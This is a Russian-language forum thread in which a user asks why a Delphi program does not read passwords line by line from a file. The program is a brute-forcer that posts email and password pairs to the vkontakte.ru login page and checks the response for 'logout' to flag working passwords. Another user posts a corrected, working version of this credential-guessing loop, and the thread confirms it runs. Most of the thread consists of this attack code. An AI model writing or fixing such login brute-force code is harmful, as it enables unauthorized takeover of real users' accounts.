Как присвоить переменной строчку из файла

чтото я делаю не так.
вот весь мой код:

PHP:

var
  emails:TStringList;  // список мыл
  pass:TStringList;    // список паролей
  post:TStringList;    // список полей пост запроса
  i,j, l:integer;          // счетчики циклов
  http: TidHTTP ;
  result:String;
  s:string;
  f:TextFile;
  FF:TextFile;
  St:String;

procedure TForm1.Button2Click(Sender: TObject);
begin
if opendialog2.Execute then
edit2.Visible:=true;
Edit2.text:=( opendialog2.FileName);

 AssignFile(FF,opendialog2.FileName);
 Reset(FF);

end;

procedure TForm1.Button3Click(Sender: TObject);

begin
  emails:=TStringList.Create; pass:=TStringList.Create;  // Инициализируем переменные
      emails.Add('[email protected]');
      while not eof(FF) do ReadLn(FF,St);
      pass.Add(St);

    http:=TidHTTP.Create(nil);      // создаем HTTPClient
  http.HandleRedirects:=true;   // это необходимо
  post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
  for i:=0 to emails.Count-1 do begin   // перебираем в цикле мыльники
     post.Clear; // отчищаем
   post.Add('email='+emails.Strings[i]); // указываем e-mail
    for j:=0 to pass.Count-1 do begin         // перебираем пароли для выбранного мыльника
    post.Clear; // отчищаем
      post.Add('pass='+pass.Strings[j]);       // указываем пароль
      result:=http.Post('http://vkontakte.ru/login.php',post);  // посылаем запрос

      if pos('logout',result)>0 then  // проверяем ответ
      begin
Memo1.lines.Add(Pass.Strings[j]+' -  подходит');
      end
      else
Memo1.lines.Add(Pass.Strings[j]+' - не подходит');
    end;
  end;

  // освободим переменные
  CloseFile(FF);
  emails.Free;
  pass.Free;
  http.Free;
  post.Free;
end;


мне нужно переменной pass присваивать по строчке из файла.

 

Code:

 var 
  emails:TStringList;  // список мыл 
  post:TStringList;    // список полей пост запроса 
  i,j, l:integer;          // счетчики циклов 
  http: TidHTTP ; 
  result:String; 
  s:string; 
  f:TextFile; 
  FF:TextFile; 
  St:String; 

procedure TForm1.Button2Click(Sender: TObject); 
begin 
if opendialog2.Execute then begin 
  edit2.Visible:=true; 
  Edit2.text:=(opendialog2.FileName); 
  AssignFile(FF,opendialog2.FileName); 
 end;
end; 

procedure TForm1.Button3Click(Sender: TObject); 
begin 
  emails:=TStringList.Create; 
  Reset(FF); 
  emails.Add('[email protected]'); 
  http:=TidHTTP.Create(nil);      // создаем HTTPClient 
  http.HandleRedirects:=true;   // это необходимо 
  post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль 
  for i:=0 to emails.Count-1 do begin   // перебираем в цикле мыльники 
	while not eof(FF) do begin // перебираем пароли для выбранного мыльника
		ReadLn(FF,St); 
	    post.Clear; // отчищаем 
		post.Add('email='+emails.Strings[i]); // указываем e-mail
		post.Add('pass='+St);       // указываем пароль 
        result:=http.Post('http://vkontakte.ru/login.php',post);  // посылаем запрос 
		if pos('logout',result)>0 then 
			Memo1.lines.Add(St+' -  подходит')
		else 
			Memo1.lines.Add(St+' - не подходит'); 
		end; 
  end; 
  // освободим переменные 
  CloseFile(FF); 
  emails.Free; 
  http.Free; 
  post.Free; 
end;  

Проверь так,у меня сейчас проверить нет возможности

 

2fd00ch Не обижайтесь,но горе программистов которые несут чушь,а потом начинают искать оправдания своим словам я увольняю сразу. Предлагаю закончить тут флуд и писать по делу,ок?

 

Мужики, меряйтесь письками в другом месте пожалуйста.

 

Steam[777], огромное спасибо, твой код отлично рабатает, но возникла еще одна проблема, переменная emails пустая, в чем проблема?